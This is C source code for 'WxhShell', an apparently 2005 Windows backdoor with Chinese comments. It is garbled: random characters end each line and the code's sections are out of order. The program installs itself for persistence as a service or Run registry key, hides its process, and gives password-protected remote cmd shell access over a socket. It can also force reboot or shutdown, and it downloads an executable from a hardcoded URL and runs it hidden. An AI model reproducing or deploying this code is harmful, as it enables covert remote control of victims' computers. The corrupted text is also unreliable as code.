  case 'd': { +hr|$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l!Xj UnRF  
    if(Boot(SHUTDOWN)) -Yh(bS l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o5DT1>h  
    else { jOrfI-&.G  
    closesocket(wsh);  Fpn*]x  
    ExitThread(0); QOYMT( j  
    } 2w8cJadT'p  
    break; ,52 IR[I<T  
    } S`zu.8%5  
  // 获取shell h ~yTkN]  
  case 's': { $w{d4")  
    CmdShell(wsh); Q2r[^Z  
    closesocket(wsh); :??W3ROn  
    ExitThread(0); G~(\N?2  
    break;  c1s&  
  } 0RMW>v/7kL  
  // 退出 hk:>*B}  
  case 'x': { sL~4 ~178  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !E?+1WDS0  
    CloseIt(wsh); X5VNj|IE  
    break; +~iiy;i(  
    } %sOY:>  
  // 离开 RH<2f5-sC!  
  case 'q': { M.}J SDt  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); + c3pe4  
    closesocket(wsh); *->*p35  
    WSACleanup(); mHW%:a\L  
    exit(1); Gt*K:KT=L  
    break; 0Atha>w^o~  
        } gveJ1P  
  } k89N}MA   
  } abUO3 Y{  
IJ2'  
  // 提示信息 {TpbUj0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 76@W:L*J$J  
} `G\Gk|4; 2  
  } 0{z8pNrc  
QJ(%rvn3  
  return; =LV-n  
} U!r8}@  
XK3O,XM  
// shell模块句柄 ^O@eyP  
int CmdShell(SOCKET sock) B!x#|vGXL  
{ ~nmFZ] y  
STARTUPINFO si; X5/fy"g&  
ZeroMemory(&si,sizeof(si)); 6[ 3 K@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  "q M  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i56Rdb  
PROCESS_INFORMATION ProcessInfo; FsWp>}o  
char cmdline[]="cmd"; WVpx  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Oj_]`  
  return 0; qna!j|90Lp  
} )M+po-6$1  
{!wW,3|Pu  
// 自身启动模式 HYGd :SeH  
int StartFromService(void) p:y\{k"  
{ =O0A(ca"g  
typedef struct Vlz\n  
{ Lg!E  
  DWORD ExitStatus; K=0xR*ll5  
  DWORD PebBaseAddress; 4sQm"XgE  
  DWORD AffinityMask; '=Zm[P,  
  DWORD BasePriority; DoQ^caa@  
  ULONG UniqueProcessId; ;6pB7N  
  ULONG InheritedFromUniqueProcessId; ):>?N`{V  
}   PROCESS_BASIC_INFORMATION; k6ry"W3  
YAT@xZs-  
PROCNTQSIP NtQueryInformationProcess; 7,p.M)t)  
^Z9bA(w8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J+IItO4%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f<wYJGI  
z/4<x?}+hE  
  HANDLE             hProcess; Uvm.|p_V  
  PROCESS_BASIC_INFORMATION pbi; I@Hx LEGj  
iu8Q &Us0P  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 96~y\X@x  
  if(NULL == hInst ) return 0; LJPJENtFIs  
"z Y~*3d  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (BPp2^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8=L"rekV_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {v]L|e%{  
B3&C&o.h  
  if (!NtQueryInformationProcess) return 0; ddKP3}  
BT8)t.+pv  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :s_.K'4?a  
  if(!hProcess) return 0; : H;S"D  
'a+^= c  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {Dl@/fz  
z;oia!9z  
  CloseHandle(hProcess); TIiYic!_~  
\MRd4vufv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ohKoX$|p~  
if(hProcess==NULL) return 0; JYw?  
V{oFig 6  
HMODULE hMod; VNT?  
char procName[255]; uoE+:,P  
unsigned long cbNeeded; )r{Wj*u  
B7'#8heDh  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $%bd`d*S  
F*J1w|)F0  
  CloseHandle(hProcess); DVhBZ!u 9  
"}xIt)n%;  
if(strstr(procName,"services")) return 1; // 以服务启动 +u$JMp  
Pv2uZH(  
  return 0; // 注册表启动 RN)XIf$@_  
} r&a} U6k(y  
{f`Y\_r$@  
// 主模块 }WFI /W'  
int StartWxhshell(LPSTR lpCmdLine) hzM;{g>t  
{ 2qE_SSXn  
  SOCKET wsl; #N`G2}1J  
BOOL val=TRUE; E`JW4)AH  
  int port=0; R_/;U&R  
  struct sockaddr_in door; :$u[1&6  
W3!-;l  
  if(wscfg.ws_autoins) Install(); <bhGpLh-E  
s(Gs?6}>T  
port=atoi(lpCmdLine); 5[X%17&t  
,5W u  
if(port<=0) port=wscfg.ws_port; h?/E/>  
P ah@d!%A  
  WSADATA data; - JEPh!oTt  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; s(fkb7W,gO  
T.I'c6|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }[z7V  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sz270k%[  
  door.sin_family = AF_INET; wg0_J<y]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4_VgJ9@  
  door.sin_port = htons(port); 5&p}^hS5  
Q3hf =&$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *GXPN0^Qjo  
closesocket(wsl); 9F 3,  
return 1; x1g-@{8]j  
} -j<E_!t  
>e/>@ J*  
  if(listen(wsl,2) == INVALID_SOCKET) { vd#)+  
closesocket(wsl); 0/ 33Z Oc  
return 1; 8Pd9&/Y  
} HRE?uBkjf  
  Wxhshell(wsl); dh6kj-^;Cf  
  WSACleanup(); &AxtSIpucP  
Ewkx4,`Ff  
return 0; "AjC2P],  
i9Bh<j>:J  
} j"~"-E(79  
~{{S<S v  
// 以NT服务方式启动 RICm$,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M.dX;iM<  
{ ^g(qP tQ  
DWORD   status = 0; Q]=/e7  
  DWORD   specificError = 0xfffffff; \='LR!_  
N,XjZ26  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @Hp%4$=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; x[TLlV:{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; WxYEu +_  
  serviceStatus.dwWin32ExitCode     = 0; YJ ,"@n_  
  serviceStatus.dwServiceSpecificExitCode = 0; ^`lDw  
  serviceStatus.dwCheckPoint       = 0; | X1axRO  
  serviceStatus.dwWaitHint       = 0; 'L3MHTM>[  
\36 G``e  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G|nBja8vm  
  if (hServiceStatusHandle==0) return; ]}'bRq*]  
4"eFR'g  
status = GetLastError(); 6e\?%,H  
  if (status!=NO_ERROR) 1qAE)8ie  
{ <ivG(a*=]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %-fXa2  
    serviceStatus.dwCheckPoint       = 0; 36co 'a4,  
    serviceStatus.dwWaitHint       = 0; {_(R?V]w,  
    serviceStatus.dwWin32ExitCode     = status; Xa>'DO2  
    serviceStatus.dwServiceSpecificExitCode = specificError; om`B:=+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \Cq4r4'  
    return; RTd,bi*  
  } -`Z!p  
1mtYap4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^bPpcm=  
  serviceStatus.dwCheckPoint       = 0; h`9 & :zr  
  serviceStatus.dwWaitHint       = 0; nl(GoX$vRQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V/\Y(Mxc  
} g?xXX /Qe  
I:DAn!N-A*  
// 处理NT服务事件,比如:启动、停止 FsOJmWZ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) w3 vZ}1|  
{ 1l)j(,Zd*  
switch(fdwControl) 4KxuSI^q  
{ E7R%G OH  
case SERVICE_CONTROL_STOP: rd%uc~/  
  serviceStatus.dwWin32ExitCode = 0; j< h1s%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2K/t[.8  
  serviceStatus.dwCheckPoint   = 0; $'>iNMtK{p  
  serviceStatus.dwWaitHint     = 0; .?APDr"QQH  
  { \6 JY#%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >3b< Fq$  
  } z"|jCdZGM  
  return; ~kV>nx2  
case SERVICE_CONTROL_PAUSE: ;TDvk ]:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; m#[c]v{  
  break; LrO[l0#'Q  
case SERVICE_CONTROL_CONTINUE: 8q]"CFpa  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; aUa+]H[  
  break; rkWy3X{%2<  
case SERVICE_CONTROL_INTERROGATE: 7]?y _%kT  
  break; C[Q4OAFG  
}; U:7w8$_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F> Ika=z,  
} 8VU(+%X  
=os!^{p7>  
// 标准应用程序主函数 JDa_;bqL  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )O*h79t^Q  
{ y[Dgyt  
 s=:LS  
// 获取操作系统版本 @kDY c8 t9  
OsIsNt=GetOsVer(); jT0iJ?d,!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %/\sn<6C}  
G2n. NW#d4  
  // 从命令行安装 5FB3w48  
  if(strpbrk(lpCmdLine,"iI")) Install(); yMkR)HY  
-@w}}BR  
  // 下载执行文件 Cz5U  
if(wscfg.ws_downexe) { KRd'!bG=1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) XD6Kp[s  
  WinExec(wscfg.ws_filenam,SW_HIDE); o@ ^^;30  
} ->{\7|^  
#%$@[4 "V  
if(!OsIsNt) { YVF@v-v-,  
// 如果时win9x,隐藏进程并且设置为注册表启动 [Pq |6dz  
HideProc(); >2K'!@ ~'  
StartWxhshell(lpCmdLine); 3zfpFgD!  
} Lf a&JKd  
else p;o"i_!  
  if(StartFromService()) &'PLOyWw  
  // 以服务方式启动 L?a4>uVY  
  StartServiceCtrlDispatcher(DispatchTable); 2\64~a^  
else RFe># o  
  // 普通方式启动 sng6U;Z  
  StartWxhshell(lpCmdLine); Zd-QZ<c";t  
3zfiegY@wm  
return 0; ~3Qa-s;g  
} leSBR,C  
*h?}~!AjY  
cRag0.[  
rKOa9M  
=========================================== TL"+Iv2]/$  
#NMQN*J>D  
}YC=q  
w0yzC0yBk  
Xe`$SNM  
I%[Tosud<  
" K4|fmgcy.  
ebL0cK?  
#include <stdio.h> 75P!`9bE  
#include <string.h> -; d{}F  
#include <windows.h> 96!2 @c{  
#include <winsock2.h> XF3lS#pt  
#include <winsvc.h> c*[aIqj  
#include <urlmon.h> ESIeZhXVH  
sy(bL _%  
#pragma comment (lib, "Ws2_32.lib") `\ nKPj  
#pragma comment (lib, "urlmon.lib") &432/=QSm0  
J7EWaXGbz  
#define MAX_USER   100 // 最大客户端连接数 O]="ggq&  
#define BUF_SOCK   200 // sock buffer =NK'xPr  
#define KEY_BUFF   255 // 输入 buffer &jnBDr  
P()&?C  
#define REBOOT     0   // 重启 +WR'\15u   
#define SHUTDOWN   1   // 关机 pK>/c>de  
~S :8M<aB  
#define DEF_PORT   5000 // 监听端口 ]5j>O^c<  
}HbUB$5  
#define REG_LEN     16   // 注册表键长度 $_a/!)bP  
#define SVC_LEN     80   // NT服务名长度 8ce'G" b  
\:JY[s/  
// 从dll定义API "K|':3n|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Bbb":c6w0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :$X dR:f}}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); K`|V1L.m  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \\oa[nvL~  
_S &6XNV  
// wxhshell配置信息 F5UHkv"K&O  
struct WSCFG { [ f<g?w  
  int ws_port;         // 监听端口 `X&d:!}F  
  char ws_passstr[REG_LEN]; // 口令 -@'RYY=  
  int ws_autoins;       // 安装标记, 1=yes 0=no %vG;'_gM B  
  char ws_regname[REG_LEN]; // 注册表键名 YD~(l-?"  
  char ws_svcname[REG_LEN]; // 服务名 &d!ASa  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >N~jlr|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 pZc`!f"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 PCBV6Y7r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m60hTJ?N)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^6CPC@B1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 axXR-5c  
;'!h(H  
}; I[ 06R  
2of+KI:  
// default Wxhshell configuration Dn>C :YS`  
struct WSCFG wscfg={DEF_PORT, .lz= MUR  
    "xuhuanlingzhe", +).=}.k  
    1, >k}Kf1I  
    "Wxhshell", }g2l ni  
    "Wxhshell", G" (ck4  
            "WxhShell Service", *li5/=UC5*  
    "Wrsky Windows CmdShell Service", +&1#ob"6lq  
    "Please Input Your Password: ", -)ri,v{:c  
  1, ']X0g{%  
  "http://www.wrsky.com/wxhshell.exe", m[N&UM#  
  "Wxhshell.exe" q.ppYXJUXi  
    }; `+Mva  
kZ^wc .  
// 消息定义模块 UG]5Dxk  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W,t`DMC  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yS#D$q2_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5RSP.Vyx{  
char *msg_ws_ext="\n\rExit."; `;Fs  
char *msg_ws_end="\n\rQuit."; sY}0PB  
char *msg_ws_boot="\n\rReboot..."; dr"@2=Z  
char *msg_ws_poff="\n\rShutdown..."; ^h<ElK  
char *msg_ws_down="\n\rSave to "; VhgcvS@V  
s"wz !{G4  
char *msg_ws_err="\n\rErr!"; =NRiro  
char *msg_ws_ok="\n\rOK!"; Tkh?F5l  
dTU`@!f  
char ExeFile[MAX_PATH]; ar`}+2Qh0  
int nUser = 0; .MxMBrM  
HANDLE handles[MAX_USER]; 7:C2xC  
int OsIsNt; ;Q lb].td  
) d=&X|S>  
SERVICE_STATUS       serviceStatus; C*Y0GfW=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _oU~S$hO  
t..@69  
// 函数声明 HhTD/   
int Install(void); iSMVV<7  
int Uninstall(void); B@vup {Kg  
int DownloadFile(char *sURL, SOCKET wsh); !ZN"(0#qz  
int Boot(int flag); +ldgT"  
void HideProc(void); aSSw>*?Q  
int GetOsVer(void); Q(hAV  
int Wxhshell(SOCKET wsl); ~?lmkfy  
void TalkWithClient(void *cs); #W L>ha v  
int CmdShell(SOCKET sock); `~qVo4V6Z  
int StartFromService(void); 1lv. @-  
int StartWxhshell(LPSTR lpCmdLine); lIatM@gU  
"Z a}p|Ct  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5PKdMEK|q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); E{B40E~4  
{1vlz>82  
// 数据结构和表定义 q0_Pl*  
SERVICE_TABLE_ENTRY DispatchTable[] = wH qbTA  
{ YtT:\#D  
{wscfg.ws_svcname, NTServiceMain}, rf2-owWN  
{NULL, NULL} `?(9Bl  
}; $0;Dk,  
1FRpcE  
// 自我安装  Y}Nd2  
int Install(void) kQtnT7  
{ be&,V_F  
  char svExeFile[MAX_PATH]; p-%m/d?  
  HKEY key; ]. ^e[v6  
  strcpy(svExeFile,ExeFile); 'n!Sco)C  
5'"9)#Ve  
// 如果是win9x系统,修改注册表设为自启动 #tt*yOmiH  
if(!OsIsNt) { |w`Q$ c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tp+H]H3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [V,f@}m F  
  RegCloseKey(key); x):h|/B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |H-zm&h>'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t=r*/DxX=  
  RegCloseKey(key); ^/Frg<>'p  
  return 0; GEfTs[  
    } WcE/,<^*  
  } N1z:9=(I  
} Bf6\KI<V2  
else { 'uF"O"*  
^WIGd"^  
// 如果是NT以上系统,安装为系统服务 JVNp= ikK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B#x.4~YX  
if (schSCManager!=0) ;kF+V*  
{ " [K>faV  
  SC_HANDLE schService = CreateService Hz3KoO &  
  ( *8xMe  
  schSCManager, K(p6P3Z  
  wscfg.ws_svcname, %>k$'UWzK  
  wscfg.ws_svcdisp, 5 ]@"f/  
  SERVICE_ALL_ACCESS, ;PX>] r5U0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , lhx]r}@'MC  
  SERVICE_AUTO_START, A{QA0X!p  
  SERVICE_ERROR_NORMAL, gLPgh%B4  
  svExeFile, s4{>7`N2  
  NULL, +,ojlTVlt  
  NULL, [5Pin>]z  
  NULL, 2t"&>1  
  NULL, ."JtR  
  NULL c o%-d  
  ); 6"Rw&3D?  
  if (schService!=0) +d,Z_ 6F  
  { si3@R?WR6*  
  CloseServiceHandle(schService); =G%L:m*  
  CloseServiceHandle(schSCManager); i6D66E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Q"sszz  
  strcat(svExeFile,wscfg.ws_svcname); "\M^jO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S -KHot ?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >-Q=o,cl%3  
  RegCloseKey(key); $n@B:kv5p  
  return 0; L)j<;{J/Q0  
    } MFm2p?zPm  
  } !%%(o%bi~  
  CloseServiceHandle(schSCManager); K-drN)o  
} )Fh5*UC  
} \L{V|}"X  
 q<Zza  
return 1; ;*XH[>I  
} VRa>bS  
n|f Huv  
// 自我卸载 +yo1&b R/  
int Uninstall(void) =F"vL  
{ $fl+l5?9  
  HKEY key;  a EmLf  
_mn2bc9M  
if(!OsIsNt) { ORP-@-dap  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lr_c  
  RegDeleteValue(key,wscfg.ws_regname); +LsACSB  
  RegCloseKey(key); JE.s?k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |(\T;~7'  
  RegDeleteValue(key,wscfg.ws_regname); B`<K]ut  
  RegCloseKey(key); ?hS&OtW   
  return 0; c.eA]mq  
  } i-*ZW:  
} %?z8*G]M  
} Ea\Khf]2  
else { p;<brwN  
`5C uH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Tg ~SGAc  
if (schSCManager!=0) |#?:KvU97E  
{ +1=]93gP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -{rUE +  
  if (schService!=0) D>efr8Qd@  
  { s'JbG&T[J  
  if(DeleteService(schService)!=0) { Vmf !0-  
  CloseServiceHandle(schService); ]ovb!X_  
  CloseServiceHandle(schSCManager); hO] vy>i;  
  return 0; H$={i$*,Y  
  } M"Q{lR  
  CloseServiceHandle(schService); 7S]<?>*  
  } 1'"TO5  
  CloseServiceHandle(schSCManager); _[t:Vme}v  
} =/SBZLR(9  
} !{%BfZX<&  
G=l-S\0@  
return 1; YecV+ K'p:  
} ;dVYR=l  
FEwPLViso  
// 从指定url下载文件 {IA3`y~  
int DownloadFile(char *sURL, SOCKET wsh) RJk42;]  
{ nBJ'ak   
  HRESULT hr; Uon^z?0A  
char seps[]= "/"; hWD%_"yhd  
char *token; -b$m<\0*  
char *file; 4(D/~OG-6  
char myURL[MAX_PATH]; ]<Kkq !  
char myFILE[MAX_PATH]; " ';K$&,[  
GLtd6;V  
strcpy(myURL,sURL); {7Q)2NC  
  token=strtok(myURL,seps); b:t|9 FE%  
  while(token!=NULL) j;SK{Oq  
  { fobnK~2  
    file=token; @Tz}y"VG  
  token=strtok(NULL,seps); [H5BIM@{  
  } h1REL^!c  
OH/!Ky\@  
GetCurrentDirectory(MAX_PATH,myFILE); 6Mh"{N7  
strcat(myFILE, "\\"); Z b}U 4  
strcat(myFILE, file); r"xs?P&/$  
  send(wsh,myFILE,strlen(myFILE),0); f 6 k=ew  
send(wsh,"...",3,0); hYB3tT  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !M@jW[s  
  if(hr==S_OK) PB(I3R9  
return 0; $QB/n63  
else <kOdd)X  
return 1; @ q:S]YB   
&5d~ODO  
} ;(r,;S_`0  
6%L#FSI  
// 系统电源模块 !j%MN{#a  
int Boot(int flag) ^bk:g}o  
{ Fv$oXg/  
  HANDLE hToken; :erfs}I  
  TOKEN_PRIVILEGES tkp; MmQ"z_v  
7 F> a&r  
  if(OsIsNt) { K;j0cxl  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,4--3 MU  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); GW,RE\Q:  
    tkp.PrivilegeCount = 1; <\`qRz0/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "el}9OitC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); F_-}GN%  
if(flag==REBOOT) { Xb2.t^ ]f  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7.FD16  
  return 0; Tnoy#w}Ve  
} 7&&3@96<*#  
else { tE WolO[\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) AjD? _DPc  
  return 0; P"f4`q  
} %sCG}? y  
  } sWv!ig_  
  else { ke b.%cb=  
if(flag==REBOOT) { 9%Qlg4~<s  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V `7(75  
  return 0; ~yiw{:\  
} _lrvK99  
else { crQ_@@X?<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {5 Sy=Y  
  return 0; fUq:`#Q  
} J_7#UjGA,  
} 3HqTVq`&  
pv8vW'G\E  
return 1; 8_/,`}9   
} ;a 6Z=LB  
[*U.bRs  
// win9x进程隐藏模块 L<k(stx~  
void HideProc(void) 46U*70  
{ RQYD#4|  
o1R:1!"2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); QjOY1Xze  
  if ( hKernel != NULL ) sB8v:  
  { MO@XbPZB  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); bT15jNa  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); u0F{.fe  
    FreeLibrary(hKernel); MO%+rf0~w  
  } w8cbhc  
089v; d 6  
return; 'U-8w@\Z  
} P!dSJ1'oC  
~S\8 '  
// 获取操作系统版本 y({lE3P  
int GetOsVer(void) $Y M(NC  
{ C#n.hgo>I  
  OSVERSIONINFO winfo; tMH 2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); M|fC2[]v B  
  GetVersionEx(&winfo); B`)TRt+'.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \aN7[>R.Q  
  return 1; *alifdp  
  else +GncQs y  
  return 0; F^.~37= @  
} k)9+;bKQQ  
Irui{%T  
// 客户端句柄模块 %bS1$ v\n  
int Wxhshell(SOCKET wsl) t;V^OGflv  
{ L7[f-cK2:  
  SOCKET wsh; OXnTD!m>{  
  struct sockaddr_in client; m- bu{  
  DWORD myID; 5Od&-~O  
&"( zK"O  
  while(nUser<MAX_USER) /ke[nr  
{ Z7>Nd$E{  
  int nSize=sizeof(client); g}d[j I9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i.{.koH<  
  if(wsh==INVALID_SOCKET) return 1; Rn)fwGC  
OIDP#K  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rl,i,1t  
if(handles[nUser]==0) 86);0EBX  
  closesocket(wsh); | {Q}:_/q  
else 3YG%YhevO  
  nUser++; $,B;\PX  
  } q07H{{h/B  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); a"l\_D'.K8  
yKy )%i  
  return 0; k"|Fu   
} 7AlL,&+  
qh+&Zx~  
// 关闭 socket EQ.K+d*K][  
void CloseIt(SOCKET wsh) P *&Cght>0  
{ l6zYiM  
closesocket(wsh); 1Tr%lO5?6  
nUser--; =RAojoN  
ExitThread(0); \OXQ%J2v  
} ]( FFvqA  
@,9YF }  
// 客户端请求句柄 !hjF"Pa  
void TalkWithClient(void *cs) KciN"g|X  
{ |h&Z.  
yb,X }"Et  
  SOCKET wsh=(SOCKET)cs; #lO ^PK  
  char pwd[SVC_LEN]; [=",R&uD$  
  char cmd[KEY_BUFF]; `Tei  
char chr[1]; C80< L5\  
int i,j; oJQ \?~  
z;MPp#Y  
  while (nUser < MAX_USER) { D8{ ,}@  
$+PyW( r  
if(wscfg.ws_passstr) { ?L0|$#Iw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X`J86G)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B*t1Y<>x  
  //ZeroMemory(pwd,KEY_BUFF); *s<cgPKJ @  
      i=0; G1\F7A  
  while(i<SVC_LEN) { vCXmu_S4^>  
V(8,94vm  
  // 设置超时 j^WYM r,  
  fd_set FdRead; j+rY  
  struct timeval TimeOut; t1G__5wp  
  FD_ZERO(&FdRead); M| Nh(kvH  
  FD_SET(wsh,&FdRead); 9kB R/{  
  TimeOut.tv_sec=8; |o+*Iy)  
  TimeOut.tv_usec=0; b 0qA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [H{@<*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); U#&+n-npO  
Kr[oP3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OL%}C*Zq  
  pwd=chr[0]; 4H NaE{O4  
  if(chr[0]==0xd || chr[0]==0xa) { B]vR=F}*  
  pwd=0; +prUau*  
  break; ns *:mGh  
  } _8!x  
  i++; 0X4)=sJP  
    } 3y,2RernK  
slhMvHOk-  
  // 如果是非法用户,关闭 socket ~KV{m  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *nc3A[B#C  
} q6ny2;/r  
Zd88+GS,#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d3Y;BxEz  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p<zeaf0W  
5S, Kq35$(  
while(1) { )8oN$2 0  
{9X mFa  
  ZeroMemory(cmd,KEY_BUFF); vCNq2l^CW  
[$pb  
      // 自动支持客户端 telnet标准   pwkTe  
  j=0; \<\H1;=.@'  
  while(j<KEY_BUFF) { &]GR*a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *X{7m]5  
  cmd[j]=chr[0]; IsShAi  
  if(chr[0]==0xa || chr[0]==0xd) { 8};kNW^2m  
  cmd[j]=0; KVr9kcs  
  break; GzBPI'C  
  } l~w^I|M^C  
  j++; seRf q&  
    } /.=aA~|  
@56*r@4:q  
  // 下载文件 6yO5{._M  
  if(strstr(cmd,"http://")) { ~( 0bqt3c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .6LRg  
  if(DownloadFile(cmd,wsh)) D9NQ3[R 9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5gII|8>rQ  
  else >*opEI+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qc)i?Z'6  
  } ;obOr~Jx'5  
